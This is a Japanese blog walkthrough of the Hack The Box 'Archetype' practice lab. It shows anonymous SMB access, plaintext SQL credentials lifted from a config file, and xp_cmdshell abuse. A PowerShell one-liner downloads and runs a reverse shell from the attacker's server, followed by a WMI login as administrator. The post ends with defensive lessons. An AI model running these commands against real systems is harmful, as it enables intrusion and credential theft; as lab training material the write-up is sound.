とある技術者の闘病記と勉強録

ブログ名の通り、技術と英語勉強についてつらつら書いてます。

Hack the Box はじめました。

タイトルの通りです。
つうことでWalkThrough書いてみます。

といってもStarting Pointですが・・・

 

#ことはじめ - archtype -

それでは初めて行きます。
まずはポートスキャンから。

 

$ nmap <archtypeのIP>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 21:52 JST
Nmap scan report for <archtypeのIP>
Host is up (0.18s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s

 

RPC、ファイル共有、SQLが空いてますね。
まずは手始めにファイル共有いってみちゃいましょう。

 

$ smbclient -L <archtypeのIP>

Enter WORKGROUP\xxx's password:  ->パスワードなぞ入れずに行っちゃいます。

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available

 

backupフォルダ見れるのでアクセスしてみちゃいます。

 

$ smbclient -N \\\\<archtypeのIP>\\backups
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 20 21:20:57 2020
.. D 0 Mon Jan 20 21:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 21:23:02 2020

10328063 blocks of size 4096. 8248578 blocks available
smb: \>

 

いけてしまう・・・

 

smb: \> get prod.dtsConfig

smb: \> exit

$ cat prod.dtsConfig 130 ?
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>

 

あら~いかんですねぇ、SQLのコンフィグファイルにユーザ名とパスワードが丸見えです。

こいつでSQLにつないでみちゃいましょう。

※ impacket導入しておくとSQLクライアントやらWMIクライアントやらあって便利です。

 

$ python3 mssqlclient.py ARCHETYPE/sql_svc@<archtypeのIP> -windows-auth 1 ?
Impacket v0.9.23.dev1+20210528.195232.25c62f65 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>

 

つながりました。

 

SQL> select IS_SRVROLEMEMBER ('sysadmin')

-----------

1

SQL> sp_configure;

name minimum maximum config_value run_value

----------------------------------- ----------- ----------- ------------ -----------

~中略~

xp_cmdshell 0 1 1 1

 

SQL管理者…からxp_cmdshellの設定変えてOSコマンドたたけちゃいますねぇ。

いかんですねぇ。変えなくてもすでに1だったけど。

 

SQL> xp_cmdshell "whoami"
output

--------------------------------------------------------------------------------

archetype\sql_svc

 

ではここで別窓を立ち上げましょう。

カレントディレクトリにリバースシェル用のpowershellファイルを置いといてください。

ここではソースは割愛します。

その後httpサーバ起動。

 

$ sudo python3 -m http.server 80 1 ?
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

 

さらにもいっこ別窓立ち上げ。

$ sudo nc -lvnp 443 1 ?
listening on [any] 443 ...
connect to [<自分のVPNのIP>] from (UNKNOWN) [<archtypeのIP>] 49696

 

そしたら一個目の窓で

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://<自分のVPNのIP>/shell.ps1\");"

をたたくと、三つ目の窓でリバースシェルが操作できるようになります。

 

一個目の窓から

二個目の窓のhttpサーバ内のリバースシェルにアクセスしそこから

三個目のnetcatリスナーにつながりリバースシェルがつながる、ということです。

 

三つ目の窓で以下コマンド。

# type C:\Users\sql_svc\desktop\user.txt
※自分でやりましょう
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

ひぇ~ConsoleHost_history.txtおそろしい。パスワード丸見えじゃないですか…

そしたらリバースシェル落として一個目の窓へ。

一個目の窓のSQLも落としてください。

 

さて、一番最初に空いてたポートにRPCがあったのを覚えているでしょうか。

そこからWMIでアクセスして操作できてしまいます…

※管理共有からアクセスしてもいいけど。

 

$ python3 wmiexec.py administrator@<archtypeのIP> 130 ?
Impacket v0.9.23.dev1+20210528.195232.25c62f65 - Copyright 2020 SecureAuth Corporation

Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\administrator\desktop\root.txt
※クリア!

 

さて、今回のラボでおもったのは

・ファイル共有への匿名アクセスキケン!

・ファイル共有にSQLのパスワードが書かれた構成ファイルなんて置くな!

 ※SQL構成ファイルにSQLパスワードを平文で載せない方法までは見当つかず・・・

SQLサーバ、管理者権限で操作なんて基本しないほうがいい

 (もちろんOSもね。いやrootでついつい操作しがちだけども)

・xp_cmdshellなんてオンにしておかない。オンにさせないぐらいがちょうどいいのでは・・・

・コマンドヒストリーもキケン!要注意!

・余計なポートは閉じましょう。管理共有もできればふさぎたいなぁ…

 ※admin権限とられた時点で無駄なあがきかもしれませんが